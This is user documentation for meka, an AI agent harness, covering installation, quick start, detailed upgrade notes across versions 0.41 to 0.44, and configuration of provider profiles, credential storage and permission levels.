Introduction
meka is a general-purpose AI agent harness, the layer that wraps a large language model with everything it needs to act as an autonomous agent: a tool set, working memory, context management, persistent sessions, a permission model, and several ways to drive it. You bring a model (Claude or OpenAI, API key or subscription); meka turns it into an agent that can read and edit files, run commands, search the web, call MCP servers, and delegate to sub-agents to get real work done.
The name reflects the design: the model is the pilot, and meka is the mech it operates. The pilot (provider/model) is swappable; the harness around it stays the same.
meka [r] > find all Rust files in this project and count the lines of code
You describe the goal in natural language and the agent decides which tools to use to reach it.
Use It However You Work
The same agent core is exposed through four front-ends:
- Interactive: a permission-gated REPL for conversational work in your terminal
- One-shot:
meka "..."for scripts, pipelines, and CI - Editor (ACP): run as an Agent Client Protocol agent inside editors like Zed
- HTTP service:
meka serveexposes the agent over HTTP+JSON for bots, web UIs, and other programs
What the Harness Provides
- Built-in tools: file read/write/edit, glob search, regex content search (ripgrep), web fetch, web search, and shell command execution
- Pluggable providers:
anthropic-messages,claude-subscription,openai-chat-completions,openai-responses,chatgpt-subscription, and any endpoint serving one of those protocols - MCP support: extend the agent with tools, resources, and prompts from external MCP servers
- Permission model: control what the agent can do (none/read/workspace/ask/unrestricted), switchable mid-session
- Sessions: conversations persisted in SQLite; resume, export, or compact any session
- Working memory: a session-scoped scratchpad for intermediate results that stays out of the context window
- Sub-agents: delegate research or analysis to sub-agents that can orchestrate their own sub-agent teams and be run at a restricted permission level
- Skills: load reusable, user-authored instruction packages on demand
- Context management: automatic compaction keeps long sessions under the model’s context limit
- Extended thinking:
anthropic-messagesandclaude-subscriptionsupport extended thinking for complex reasoning
How It Works
- You give meka a goal in natural language, interactively, one-shot, over ACP, or over HTTP.
- meka sends it to the configured model along with a system prompt, the tool schemas, and a context block describing the current permission level, working directory, tools, and skills.
- The model decides which tools to call (if any) and returns text and/or tool calls.
- meka enforces the current permission level, executes the tool calls, and feeds the results back to the model.
- The loop repeats until the model is done; the final response is returned (streamed as Markdown in the terminal).
Installation
meka is written in Rust and builds as a single binary.
Pre-Built Binaries
Download the latest release for your platform from the GitHub Releases page.
| Platform | Archive |
|---|---|
| Linux (x86_64) | meka-linux-amd64.tar.gz |
| macOS (Apple Silicon) | meka-macos-arm64.tar.gz |
| Windows (x86_64) | meka-windows-amd64.zip |
Extract the binary and place it somewhere on your $PATH:
# Linux/macOS
tar -xzf meka-*.tar.gz
cp meka ~/.local/bin/
Container
Every tagged release publishes an image to the GitHub Container Registry:
docker run --rm -it ghcr.io/k4yt3x/meka:latest --help
The image carries the binary and nothing else, so a session inside it starts with no config and no database. Mount both to reach an existing setup:
docker run --rm -it \
-v ~/.config/meka:/root/.config/meka:ro \
-v ~/.local/share/meka:/root/.local/share/meka:rw \
ghcr.io/k4yt3x/meka:latest
The data directory has to be writable: it holds meka.db, which is where sessions and every
credential live.
mekabox
contrib/container/mekabox
does that mounting for you, against a stock archlinux:latest with your host binary bind-mounted
in, and starts the agent at unrestricted with instructions saying it may install whatever the task
needs. It is the answer to “let it do anything, just not to my machine”: the container is disposable
and the host config is mounted read-only. It picks podman over docker when both are present.
Cargo Install
If you have Rust installed, you can install meka directly from the Git repository:
cargo install --locked --git https://github.com/k4yt3x/meka.git
This builds the latest version from source and installs it to ~/.cargo/bin/.
Building from Source
Prerequisites
- Rust 1.95 or newer, the version
Cargo.tomldeclares - A C compiler (for the bundled SQLite)
Build
git clone https://github.com/k4yt3x/meka.git
cd meka
cargo build --release
The binary will be at target/release/meka. Copy it somewhere on your $PATH:
cp target/release/meka ~/.local/bin/
Verify
meka --version
meka --help
Quick Start
1. Add a Provider
Before the first run, configure a provider profile. meka provider add runs the right credential
flow (OAuth login or API-key prompt) and writes the profile to ~/.config/meka/config.toml:
# Claude Code subscription (OAuth)
meka provider add work --type claude-subscription --model claude-opus-5
# or a Claude API key
meka provider add work --type anthropic-messages --model claude-opus-5
# or OpenAI
meka provider add work --type openai-chat-completions --model gpt-5.6-sol
add prompts for any of --type / --model you omit, acquires the secret (browser OAuth for
claude-subscription / chatgpt-subscription, an API-key prompt otherwise), stores it in the database, and makes
the profile the default. Add more profiles later and switch with meka provider use <name> or the
per-run --provider <name> flag.
If you launch
mekawith no provider configured, it errors and tells you to runmeka provider add. See Configuration for all options and the fullmeka providerreference.
2. Start Using meka
After setup, you will see a prompt:
meka [r] >
The [r] indicates read permission mode (the default). The agent can read files, search, and run shell commands in a sandbox that blocks writes. It cannot modify your files.
3. Ask It Something
meka [r] > what files are in the current directory?
The agent will use the find_files tool to list files and describe them.
4. Enable Workspace Mode
Press Shift+Tab to cycle the permission to workspace, where the agent may write inside your working directory:
meka [w] >
Now it can modify files too, and its shell may write inside the same boundary:
meka [w] > create a file called hello.txt with the text "hello world"
5. One-Shot Mode
For quick tasks without entering the interactive shell:
meka --oneshot "what is my current working directory?"
The process exits after the agent responds. Without --oneshot the same prompt runs as the first
turn and then drops you into the interactive shell.
6. Continue a Previous Session
To pick up where you left off, continue the last session:
meka -c
Or resume a specific session by its UUID:
meka -r 550e8400-e29b-41d4-a716-446655440000
See Sessions for more details.
Upgrading
Most upgrades are a binary swap: replace the old executable with the new one and carry on. This page covers the ones that are not.
0.43 to 0.44
A binary swap, and the store migrates itself as promised below, unless you authenticate an MCP
server with auth_token or client_secret, which are no longer config keys. Read the next
section first if you do; meka will refuse to start otherwise. Then the behaviour changes below,
worth reading before you resume an existing session or run a scripted meka, several of which apply
only if you run meka serve or meka acp.
MCP secrets moved out of config.toml. auth_token on a server, and client_secret in a
[mcp.servers.auth] block, are gone. Both were secrets sitting in a plaintext file people commit
and sync; they now live in meka’s database beside the OAuth tokens, which is where provider
credentials have always been.
meka cannot move them for you. The store migrates itself because it has a ledger recording what it
has already done; config.toml has none and may be older or newer than the binary at any moment, so
a key left behind is a parse error naming the key and the line rather than a value silently ignored:
$ meka mcp list
Error: database error: schema migration 3 ('sessions_name_their_provider') failed: Invalid
parameter name: cannot record a provider for 4 carried-forward session(s) while config.toml
cannot be read; fix the file and start meka again. The store is unchanged
The parse error itself is a warning just above it, naming the key and the line:
WARN meka: config.toml could not be read, so this run cannot say which profile anything should
adopt: configuration error: failed to parse …/config.toml: TOML parse error at line 12, column 1
|
12 | auth_token = "…"
| ^^^^^^^^^^
unknown field `auth_token`, expected one of `name`, `transport`, …
Two messages because two things are stuck: the file will not parse, and the migration that has to name a profile for your existing sessions cannot ask it which one. Fixing the file fixes both, and nothing has been written in the meantime – “The store is unchanged” is literal, and the copy taken before the attempt is still beside your store. (On an installation with no sessions to carry forward, only the parse error appears.)
For each server, delete the line and store the secret instead. Which command depends on which key
you deleted, and the two are alternatives, not a sequence: a bearer belongs to a server with no
[auth] block, a client secret to one that has it.
$ # for a server whose `auth_token` you deleted (no [auth] block):
$ pass show api-token | meka mcp login api --auth-token-stdin
$ # for a server whose [auth] block's `client_secret` you deleted:
$ pass show acme-secret | meka mcp login acme --client-secret-stdin
meka mcp get <name> then lists the kinds it holds without printing any of them. --auth-token and
--client-secret are gone from meka mcp add for the same reason: an argument is visible in ps
output and in the shell history of every user on the machine. Use the -stdin forms, which add
also takes.
If you were using auth_token = "${API_TOKEN}" to keep the token out of the file, a header does the
same job and still expands: headers = { Authorization = "Bearer ${API_TOKEN}" }. Storing it is the
better answer, since it survives without the variable being set.
Nothing else about a server moves. env, args and headers stay in config.toml with ${VAR}
expansion, because they configure a process or a request and merely may contain a secret.
isolated scheduled jobs are gone; every job fires in the session that created it. The mode ran
a job’s turn in a fresh session rather than the conversation that made it, to avoid replaying that
conversation’s history. Only meka serve ever honoured it: the REPL and ACP already ran such a job
in the open conversation, with a warning, so for two of the three hosts nothing changes at all.
Existing jobs are not deleted and do not need touching. The store drops the column and the job keeps its schedule and its prompt, firing into the session it belongs to from then on.
What it cost is why it went. The fire inherited the creating session’s authority (its permission
level, its working directory, its provider profile, its MCP servers) and dropped the conversation,
which is where anything you told the agent that never reached a memory or an instructions file
lives. Its result landed in a session nothing linked to, and the turn could not even cancel its own
job, because schedule_cancel resolves against the session it is running in.
meka acp and meka serve clients: POST /v1/sessions/{id}/schedule now rejects isolated with a
422 naming the field, rather than accepting and ignoring it. GET /v1/schedule and the
schedule.fired webhook no longer carry it either.
If you were relying on the mode, an external timer does the same job with the level and profile stated outright instead of inherited:
meka --oneshot --permission read --provider work "summarise today's alerts"
Often a gate is the better answer: it means a frequent job takes no turn at all on the ticks where nothing happened, which saves more than skipping the history did.
A session another one spawned is driven only by its parent. POST /v1/sessions/{id}/turn
answers 422 for a sub-agent’s id, meka -r <worker-id> refuses by name, and a scheduled fire aimed
at one does the same. Both agent builders now check, rather than the scheduling door alone.
What this closes is that a worker’s restrictions live in its spawn record, which those builders
never read: the [subagents] denials it was created under, its memory and instruction grants, and
the permission ceiling its spawn call set. Driving one from a host therefore ran a conversation that
was deliberately given narrow tools with the full built-in set at the host’s level. agent_followup
was and remains the door that reconstructs those terms, so nothing meka does for you changes.
Reading a worker is untouched: meka session export, GET /v1/sessions/{id}/messages and
meka session list --include-children all still serve it.
Forking one does not promote it, and that is the other half of the change. A fork of a sub-agent
now carries parent_session_id and the spawn terms, so the copy is a sibling under the same parent
rather than a new root; without that, POST /v1/sessions/{id}/fork was a one-call way around the
refusal above, handing back a live session over a worker’s whole conversation with none of the terms
it was spawned under. The two doors that have to hand back a live session therefore refuse a
sub-agent’s id up front: POST /v1/sessions/{id}/fork answers 422, and ACP’s session/fork answers
InvalidParams. meka session fork still makes the copy: it takes no runtime, and the copy is
readable like any other worker. Forking an ordinary session is unchanged. If you want a worker’s conversation as a top-level session of your own, copy
the text out rather than expecting a command to promote it.
meka session list --long is gone, along with the columns it showed. If a script parses that
output, it needs updating; the default columns are unchanged.
/cd with no argument returns to the directory meka was launched from, not $HOME. /cd ~
still goes home. The old behaviour made a bare /cd a surprising way to leave the project you were
working in.
render_mode = "silent" is gone, as are --render-mode silent and MEKA_RENDER_MODE=silent.
Delete the setting: termimad is the default.
A config still carrying it fails to parse, naming the value and the line, and --render-mode silent
is refused by clap. MEKA_RENDER_MODE=silent is the quiet one: an unreadable value there has always
been dropped in favour of the next source, so it falls through to your config file or the default
rather than saying anything.
It never did what it says. It suppressed the model’s answer and nothing else, so a run under it
printed the session id, the reasoning line, tool indicators, todo lists, notices and token usage,
and dropped the one thing you were waiting for. Both things it might plausibly have meant are
shell redirections that already work, and work the right way round: meka … 2>/dev/null keeps the
answer and drops the chrome, meka … >/dev/null 2>&1 drops both.
SSE thinking.delta now carries one chunk of reasoning per event. It used to send one event per
completed block, so a client that opted into supports_reasoning_stream and rendered each event as a
whole block will now show fragments. Concatenate the deltas to rebuild the block, exactly as you
already do for assistant_text.delta. A client that concatenated needs no change, and one that never
set the capability sees nothing new. A turn the provider answered without streaming still arrives as
a single delta, so there are no two shapes to tell apart, and stream: false still reports each block
whole in thinking.
One consequence worth planning for: a session receiving reasoning gives up its retry on a transient
provider failure, because the deltas have already reached you and a second attempt would repeat them.
Leave supports_reasoning_stream off if you would rather have the retry.
meka session delete refuses ids given alongside --all. It used to take both and quietly do
the wider thing, so meka session delete "$ID" --all with $ID unset deleted every session and
then reported the empty id as a failure – a complete wipe reported as an error. Naming sessions and
asking for all of them are two different requests; say one or the other. --older-than-days has
conflicted with both for the same reason since 0.44.
Every command taking a session, job or task id now accepts a unique prefix of one, which is what
the listings print. Full ids still work, so nothing that already worked stops. An ambiguous prefix
is refused with the candidates named, and an empty one matches nothing rather than the only row –
meka schedule cancel "$JOB" with $JOB unset used to cancel whatever job was alone.
meka mcp logout <name> clears every credential that server holds, not only its OAuth tokens.
If you were using it to drop a stale token from a server that also has a stored bearer or client
secret, you will now need to store that again with meka mcp login.
A scheduled job is refused on a sub-agent session. POST /v1/sessions/{id}/schedule answers 422
if the session was spawned by another. Sub-agents never had the schedule_* tools, so no job meka
created can be affected; what this closes is a client planting one directly, which would have woken
the worker without the tool restrictions or memory grants it was spawned under.
ACP session/load and session/resume refuse a sub-agent’s id. Both used to take the session’s
lock, rewrite its cwd, retire its background work and replace its roots before failing with
Internal error; both now decline with InvalidParams before touching anything, naming the parent
to use agent_followup from. An editor that stored a worker’s id from session/list gets a clear
refusal instead of a mutated row and an opaque failure. Over HTTP the same holds for every write-side
endpoint: POST /v1/sessions/{id}/turn and its neighbours refuse before taking the worker’s lock or
marking its background tasks interrupted.
A session that carries spawn terms is refused even when its parent is not in the store. That
shape has one source, and it is a pair of documented commands: meka session export <worker> --format json followed by meka session import. The archive’s parent_id points outside it, so the
import re-roots the row while copying the spawn terms faithfully. The result reads as a sub-agent’s
conversation to every door, so meka -r on it, and POST /turn, /fork, /schedule and PATCH
against it over HTTP, all refuse. meka -c skips it and meka session list shows it only under
--include-children, both so nothing offers you a session it will then decline. If you were using
export-then-import to promote a worker into a standalone session, that no longer works; there is
no supported replacement, because the tools and permission ceiling a worker ran under live in the
terms its parent set and nothing outside that parent can reconstruct them. The conversation itself
stays fully readable, and importing a whole tree – the root and its workers together – is
unaffected, since each child keeps its parent.
This upgrade deletes the pre-migration copy 0.43 left, and keeps one from now on. Before it
migrates, meka copies the store aside; until now nothing removed those, so a full duplicate of your
whole history accumulated per schema-changing release. From 0.44 a fresh copy supersedes the one
before it. In practice that means meka.db.v1.bak in your data directory, the copy of your
pre-0.43 store, is removed on this upgrade and replaced by a copy of your pre-0.44 one. If you
want the older file, move it somewhere else before upgrading.
Two things worth knowing about what is kept. Peak disk during an upgrade is higher than the steady state, because the new copy is written before the old ones go: budget for the store plus every copy already beside it plus one more, and expect to settle back at twice the store. And the copy is taken per schema-changing upgrade, not per release, so one file can span several versions if you skip some.
What keeping only the newest copy costs, stated plainly. The copy you hold is of the store after the migration before this one. So it undoes the most recent conversion and nothing earlier: if a migration converts something wrongly, you do not notice, and you then take another schema-changing upgrade, the only copy predating the fault is gone. That is a real limitation rather than a technicality, and it is the reason to move a copy of your own aside if a particular upgrade worries you. It is accepted because the alternative was an unbounded pile of full-size duplicates, whose cost is certain where this one is conditional on a bug outliving a release.
A resume now starts at the level the session recorded. Both CLI hosts do this: the REPL and
meka --oneshot -c / -r. The scripted one is where a silent change matters most, since a
--oneshot run that passes no --permission used to start at the config default and now starts at
whatever the session was last set to. A session you created with --permission unrestricted comes
back at unrestricted without the flag. Before, the row said one thing and the run did another;
every other surface already read the row, and these two were the ones that did not. Pass
--permission on the resume to move it. A level that is no longer in [permissions].enabled is not
granted: the session drops to the configured default with a warning.
A session now runs on the provider profile it was created with. Every existing session is
recorded as running on your current default profile, which is what they were in fact running on, so
nothing moves. From here meka -p openai then meka -c stays on openai. If nothing could be
resolved when the migration ran (no profile configured yet), sessions are left without one and say
so; resume such a session once with --provider <name> to record it. The migration says which
profile it recorded and on how many sessions; run once with -v if you want to see it.
A 502 from meka serve now carries the provider’s own response text, as a provider_response
member on the Problem Detail. It used to be withheld and written only to the server log.
The reason for the change is that the redaction defended less than it appeared to: meka acp has
always handed the same text to its client, so withholding it on HTTP left the text just as public
while making the one surface quieter. What it cost was the upstream’s error type, which is the one
part of a failed turn a client can act on.
Know who can read it before you leave it on. An upstream refusal can name your provider account,
your organisation, and your rate-limit posture. Submitting a turn takes sessions:w, but the
failure is also carried by the terminal turn.failed event, and re-attaching to a stream takes only
sessions:r – so a read-only token sees it too. If you issue read-only tokens to people who may
observe a session but are not entitled to the account behind it, set [serve] relay_provider_errors = false. Nothing else changes: detail carries the same sentence either way,
and with the key off the member is simply absent.
The 503 for a required MCP server that is down is not affected and still reports only the server
names. That reason is meka’s own subprocess text and has carried a command line and its filesystem
path, which is a different disclosure and not one this key governs.
GET /v1/info no longer returns provider or model. Read them from GET /v1/providers
instead, which lists every configured profile with its name, its type (the backend), its
model, and active: true on the one a session gets when it names none. The old fields held the
default profile’s backend under the name provider, while provider on POST /v1/sessions names
a profile, so a client that read one and posted it to the other got a 422. They were duplicates of
the active row besides.
If you ran a 0.44 development build, your store repairs itself on the next run. One such build
removed a migration from the middle of the ledger instead of appending its reversal. user_version
is a positional index, so that renumbered every later step, and a store sitting between the hole and
the new head skipped a step it had never run while stamping itself current. The symptom was every
MCP connection failing with no such table: mcp_credentials after a migration that reported
success.
Nothing is needed from you: an appended step recreates the table and carries the old MCP credentials into it, because a store already stamped past the missed step is only reachable by appending. Released 0.43 stores were never affected; they sit at the baseline and migrate straight through.
--model, --base-url, --thinking and --thinking-budget are gone. A provider profile is an
indivisible bundle: the backend, the endpoint, the credential keyed to it, the model, and every
model-tied setting. A session selects one by name and records that name. A flag that moved one field
of the bundle left the rest behind, so --model against a profile stating context_window = 1000000
ran a 200K model while gauging its context against a 1M window, and never auto-compacted.
Change a setting on the profile:
meka provider set work model claude-opus-5
meka provider set work effort --unset
Or make a second profile and select it with --provider, which is now the only provider flag on a
run. meka provider add has a flag for every profile field except device_id, which meka resolves
and persists itself, so one command creates a whole profile:
printf '%s' "$ANTHROPIC_API_KEY" | meka provider add fast \
--type anthropic-messages --model claude-haiku-4-5 \
--context-window 200000 --api-key-stdin
The thinking budget is per profile. [providers.<name>].thinking_budget takes precedence over
[thinking].budget_tokens, which stays as the installation-wide fallback and needs no edit. The
global was previously cross-checked against a per-profile max_output_tokens, so a profile could
be refused over a number stated nowhere in it, and told to fix it by lowering a value every other
profile also read.
meka acp and meka serve refuse -c and -r. Both name one run’s session, and a long-lived
host has no such thing: it creates one per session/new or per POST /v1/sessions, each naming its
own profile. They used to be accepted and quietly misapplied: -c / -r switched off the
default-profile check a host with no default needs most. Over HTTP, name a provider on POST /v1/sessions; under ACP, session/new creates on the host’s default and session/set_config_option
moves it.
--provider is still accepted, because it selects which configured profile the host defaults to,
which is a property of the host rather than of one session.
Also on the HTTP side, and not a break: PATCH /v1/sessions/{id} with a body naming only a provider
now works on a session that is not loaded, which is how you move one whose profile has left
config.toml. It takes the session lock to do it, so if you run more than one meka on the same
store, send it to whichever process has the session; another one answers 409 session-locked
rather than moving a row the running host would ignore.
0.42 to 0.43
Nothing to do. Start 0.43 and it brings the store forward itself, on the first open, before anything reads it.
This is the first release that migrates its own store, and from here on that is the rule: upgrades from 0.43 onward are a binary swap, whatever the schema does.
What it changes, if you want to know what happened. A scheduled job’s gate used to be two columns, gate_command and gate_fire; it is now gate_kind plus a JSON gate_spec, which is what lets a gate call a read-only tool instead of a shell command. And a due job is now claimed by leasing it rather than by consuming its row, which adds claimed_by, claimed_until and attempts, so a host that crashes mid-delivery no longer loses the occurrence, or for a one-shot the whole job. Each gate’s stored baseline is preserved, so a changed gate does not fire spuriously on its first evaluation afterwards.
Before it writes anything, meka copies the store to meka.db.v1.bak beside it. That doubles the space the store takes until you delete it, which is worth knowing if yours is large. Start with -v once if you want the exact path in the log; the copy is otherwise silent. It records the version it was taken at, so if you ever restore it, the next start migrates it again correctly rather than mistaking it for a store that is already current.
The whole thing is one transaction, so an interruption leaves the store exactly as it was rather than half-converted. Running two hosts at once is fine: the first takes the schema lock and the second waits, then finds nothing to do.
Coming from 0.41 or older, run migrate-0.41-to-0.42.py once first, as described below. 0.43 recognises a 0.41-shaped store and refuses it by name rather than converting it into something still unreadable, and it changes nothing when it does.
A gate that cannot be read
Rare, and worth knowing the shape of. If a job’s gate was already unreadable under 0.42 (a hand-edited row, or a gate_fire value meka never wrote), it cannot be converted, because there is nothing to convert it from. Such a job never fired under 0.42, and it does not fire under 0.43 either: the migration leaves it in the same refused state rather than guessing at what it meant or deleting it. It is logged once, by id, at warn.
The consequence is that the row stays inert and invisible, as it already was: it will not appear in meka schedule list and meka schedule cancel cannot reach it. Recreate the job if you still want it. The original row is in the backup 0.43 took, meka.db.v1.bak. Note that from 0.44 a later schema-changing upgrade deletes that file, so put a copy somewhere of your own if you want to keep it.
0.41 to 0.42
A store written by 0.41 needs five conversions before 0.42 reads all of it. They are performed by migrate-0.41-to-0.42.py, a one-shot script attached as an asset to the 0.42 release. Download it, run it once, and you are done with it.
This one stays a script, and 0.43’s own store migration does not replace it: 0.42 carried no migration code to reach back with, and conversion B below has to guess. 0.41 recorded nothing about which provider a thinking block came from, so the script tells them apart by the shape of the blob, and it reports what it read before it writes. A guess wants a human reading the counts, which is the one thing a migration that runs on every start cannot offer.
Order
- Run 0.41 once, before you replace it. It brings a store from an older release fully up to date; 0.42 carries no migration code and cannot.
- Install 0.42 and launch it once. This is what creates the tables the script writes into, so it is not an arbitrary step you can move: run the script against a database that predates 0.42 and it stops with an explanation rather than guessing.
- Run the script, first as a dry run, then with
--apply.
python3 migrate-0.41-to-0.42.py # reports what it would change; writes nothing
python3 migrate-0.41-to-0.42.py --apply # does it
Read the dry run before you apply it. Conversion B in particular reports how many thinking blocks it read as Claude’s and how many as OpenAI’s, and 0.41 did not record which was which. If those counts do not match the providers you actually used, stop: the blocks it could not place are left alone, but the ones it places wrongly are not recoverable from the row afterwards.
The dry run is the only place to read that. Its per-class counts and its warning about a session holding both kinds describe the write it is about to do, so once the blocks are converted a later run has nothing left to report about them.
Between steps 2 and 3 the store is live but incomplete: memories are absent from the agent’s index, and any session affected by conversion E below is already broken. Step 3 is part of the upgrade rather than cleanup to get to later.
The script finds meka’s own directories by default, honouring MEKA_CONFIG_DIR and MEKA_DATA_DIR; --root, --skills-root and --database point it at a copy instead. --self-test checks the script against its own fixtures and exits, touching nothing of yours.
What it converts
| Conversion | What it changes | If you skip it |
|---|---|---|
| A. Memories | The Markdown files under <config>/memory/ become rows in the database’s memories table, which is where 0.42 reads memories from. The files are read, never written or deleted. | The memories are simply not there. The files are untouched on disk, so nothing is lost and the import still works whenever you get to it. |
| B. Thinking blocks | A stored block’s bare signature becomes an opaque object naming which provider it belongs to: signed for a Claude signature, sealed for OpenAI’s encrypted reasoning. 0.41 wrote both to the same field and recorded nothing about which was which, so the script tells them apart by the shape of the blob and reports the counts before it writes. A blob it does not recognise is left exactly as it is. | The block loses its opaque half, so that reasoning stops being replayed to the provider. The session still loads and still runs; it just resumes without the chain of thought behind those turns. |
C. A skill’s version: / author: | Both move from the top level of a SKILL.md’s frontmatter under metadata:, keeping their names, which is where the Agent Skills spec puts them. | Nothing. meka reads a top-level version: and author: permanently, because Claude Code’s plugin skills declare version: there. This conversion is cosmetic. |
D. A skill’s priority: | Moves under metadata: and is renamed to meka-priority:. | The skill silently drops to the default rank of 5. A rank is read from metadata.meka-priority and nowhere else, so the [Skills] index comes out in a different order and its cap drops different skills. Nothing warns. |
E. A stored tool_result | Content held as a bare JSON string becomes a list of typed blocks, [{"type": "text", "text": ...}]. | The affected session breaks. The row will not deserialize, so it is dropped as the session loads, which orphans the tool_use it answered, and the provider then refuses the next turn. |
The two that matter
A and B announce themselves: a memory you saved is missing from the index, or a thinking block is not replayed. Both are recoverable by running the script later.
D and E are the ones that damage silently. D changes which skills the [Skills] index shows first and which its cap drops, with nothing on screen to say the rank it used was not the one in your file. E can leave a session unusable: it loads cleanly, and then the next turn is refused by the provider because a tool_use in the history has no matching result. See Sessions if you have already met that error.
Configuration Overview
meka is configured with named provider profiles in a config file at
~/.config/meka/config.toml, plus secrets stored in the database. The quickest way to get started
is to let meka provider add write both for you:
$ meka provider add work --type claude-subscription --model claude-opus-5
That command writes a [providers.work] profile to the config file, runs the OAuth login (or prompts
for an API key, depending on the backend), stores the secret in the database, and makes the profile
the default. The resulting config looks like:
default_provider = "work"
[providers.work]
type = "claude-subscription"
model = "claude-opus-5"
See Config File for the full reference and the meka provider command suite.
Required Settings
To run a turn, meka needs an active provider profile that pins a backend type and model, and a
stored credential for it. If no profile can be selected, or the active profile has no model or no
credential, meka prints an error pointing at meka provider add / meka provider login.
| Setting | Source | Named on the command line |
|---|---|---|
| Profile for an existing session | The session’s own row | --provider <name>, which repins the row |
| Profile for a new session | default_provider in config, or the sole profile | --provider <name> |
Backend (type) | [providers.<name>].type | – |
| Model | [providers.<name>].model | – |
| Every other model-tied setting | [providers.<name>].* | – |
| Credential (API key / OAuth) | Database, via meka provider add / login | – |
A profile is indivisible
A profile is a named bundle: the backend, the endpoint, the credential keyed to it, the model, and
every model-tied setting (context_window, vision, max_output_tokens, effort, thinking,
thinking_budget, redact_thinking). A session selects one by name and records that name.
Nothing overrides a field inside one.
There is deliberately no --model, --base-url, --thinking or --thinking-budget. A flag that
moved one field of the bundle left the rest behind, so a session could run a 200K model while
gauging its context against the 1M window its profile still stated, and never auto-compact.
To change a setting, edit the profile:
meka provider set work model claude-opus-5
To run something different, make a second profile and select it:
meka provider add fast --type anthropic-messages --model claude-haiku-4-5 --context-window 200000
meka --provider fast "quick question"
Override Layers
Provider configuration is layered as follows; higher-priority layers override lower ones:
- The session’s own row: the profile it was created with. A session that exists runs on what
its row says, whatever
default_providerlater becomes. --provider <name>: on a new session this chooses what the row records; on a resume it rewrites the row, so the change holds for every later turn and from every surface. See what a resume restores.- Config file: persistent profiles in
~/.config/meka/config.toml. - Built-in defaults: permission defaults to
read, streaming defaults to on.
There is no environment-variable tier for provider configuration; an ambient OPENAI_API_KEY or
MEKA_PROVIDER has no effect (see Environment Variables).
Credential Resolution
The credential for the active profile is loaded from the database, keyed by the profile name. It is acquired interactively:
meka provider add <name>runs the OAuth login (claude-subscription,chatgpt-subscription) or prompts for the API key (anthropic-messages,openai-chat-completions,openai-responses) when the profile is created.meka provider login <name>re-acquires it for an existing profile (rotate an API key, recover from a dead OAuth refresh token), keeping every other setting on the profile. Add--api-key-stdinto pipe the key in for scripted rotation.meka provider remove <name>deletes the stored credential and the profile.
Because secrets are keyed per profile, two profiles using the same backend (for example, two Claude accounts) keep independent credentials.
Deleting a [providers.<name>] block by hand removes the settings but not the secret, which stays in
the database under that name. meka provider list names any credential left that way, and meka provider remove <name> deletes it; see Leftover
credentials.
Why some settings have no config key
A few things are deliberately CLI-only, with no config.toml key and no environment variable.
--writable-root is the current example: which folders a run may write at workspace permission is
a per-run scope, like the working directory itself, not a preference worth persisting. Writing it
into a file would make the boundary depend on where the file lives rather than on what you asked for
this time.
This is the same reasoning that keeps the working directory out of config, and it is the exception to “config.toml is the complete source of truth”: that rule covers persistent settings, and a per-run scope is not one.
When edits take effect
meka in the terminal reads config.toml and your instructions files at startup, so anything you
change applies from the next command. A long-lived host is different: meka serve and meka acp
read both once, when the process starts, and keep what they read for as long as they run.
Two consequences worth knowing:
meka provider addwhile a server is running does not reach it. The new profile is on disk andmeka provider listshows it, butPOST /v1/sessionsand ACP’s provider picker answer “not configured” until the server is restarted. The same applies to editing an existing profile.- Editing your instructions files does not reach it either. They are read once and go into the cached prompt prefix that every session shares.
Restart the server to pick either up. Everything else follows a live source and needs no restart: skills are re-read per turn, memories per turn, and MCP tool lists follow the server.
A rotated credential sits between the two, and the distinction matters if you are rotating
because a key leaked. meka provider login <name> from a second process is picked up without a
restart by anything that builds a provider after it: newly created sessions, ones the server
re-attaches after eviction, and ones explicitly repinned by PATCH /v1/sessions/{id},
session/set_config_option or /provider.
A session already resident in memory holds the provider it was built with. For an API-key
profile that means it keeps presenting the old key until it is evicted ([serve] idle_timeout, 24
hours by default) or the server restarts. For the OAuth backends (claude-subscription,
chatgpt-subscription) the live provider re-reads the stored bundle when it next refreshes its
token, so a rotation is usually adopted sooner, but nothing makes that happen on demand.
To be certain a revoked credential is out of use, restart the host.
Config File
meka looks for a TOML configuration file at a platform-specific location:
| Platform | Path |
|---|---|
| Linux | ~/.config/meka/config.toml ($XDG_CONFIG_HOME/meka/config.toml) |
| macOS | ~/Library/Application Support/meka/config.toml |
| Windows | %APPDATA%\meka\config.toml |
The config file is optional. If it does not exist, meka silently skips it.
meka rejects unknown keys: a typo (contex_window) or a removed key (reasoning_effort) fails the load with an error naming the offending key, rather than being silently ignored. Fix or remove the key to continue.
The commands that edit the file are exempt, so a broken config can still be repaired from the CLI: meka mcp add / remove / enable / disable and meka provider remove work on the raw document and don’t care about an unknown key elsewhere in it. Everything that reads config fails instead of answering from empty defaults, because “No MCP servers configured.” over a file full of them is indistinguishable from the truth.
Those editors only reach the keys they own, so a bad key anywhere else ([session], [permissions], a top-level typo, a raw syntax error) has to be fixed in an editor. The error names the file, line, column, and offending key.
Set the MEKA_CONFIG_DIR environment variable to override the default location entirely. The value points at the meka directory itself (contains config.toml and skills/). Useful for tests, portable installs, and isolating a per-project config from your global one.
Everything meka keeps in that directory is content you put there: config.toml, skills/, and instructions.md or instructions/ if you use them. It is safe to keep under version control. Commands that edit the config take a cross-process lock on the directory itself, as does claiming a skill store, so neither leaves a lock file behind; a write is published by renaming a short-lived config.toml.<pid>.<seq>.tmp over the target, so that name can appear for the duration of one write. If you are upgrading from a version that wrote .config.toml.lock, or .meka-store.lock inside a skill store, delete them: nothing reads or writes them any more.
Windows still writes both, because its file locks are mandatory rather than advisory: a lock held on config.toml would make the file unreadable to the command holding it, and LockFileEx refuses a directory handle outright. If you keep a meka config directory under version control on Windows, ignore .config.toml.lock and skills/.meka-store.lock.
Providers
Providers are configured as named profiles under [providers.<name>]. Each profile pins a
backend type plus its model and other non-secret knobs. You can keep several profiles side by
side (including multiple accounts of the same backend) and switch between them by name.
Secrets are never stored in the config file. API keys and OAuth token bundles live in meka’s
database, keyed by profile name, and are acquired through the meka provider
command suite (meka provider add runs the API-key prompt or the OAuth login for you). The config
file holds only the non-secret settings shown below.
default_provider = "work"
[providers.work]
type = "claude-subscription"
model = "claude-opus-5"
[providers.local]
type = "openai-chat-completions"
base_url = "http://localhost:11434/v1"
model = "llama3"
Selecting the active profile
For each run meka picks one profile using this precedence:
--provider <name>CLI flag.default_providerin the config file.- The sole profile, if exactly one is configured.
If none of these resolve (no profiles configured, or more than one with no default_provider /
--provider), meka errors and points you at meka provider add / meka provider use. Resuming a
session is the exception: it runs on the profile it recorded and never consults this, so an
ambiguous default does not block meka -c. There is no
environment-variable tier for provider selection; the config file (plus the per-run CLI flag) is the
source of truth.
Timeouts
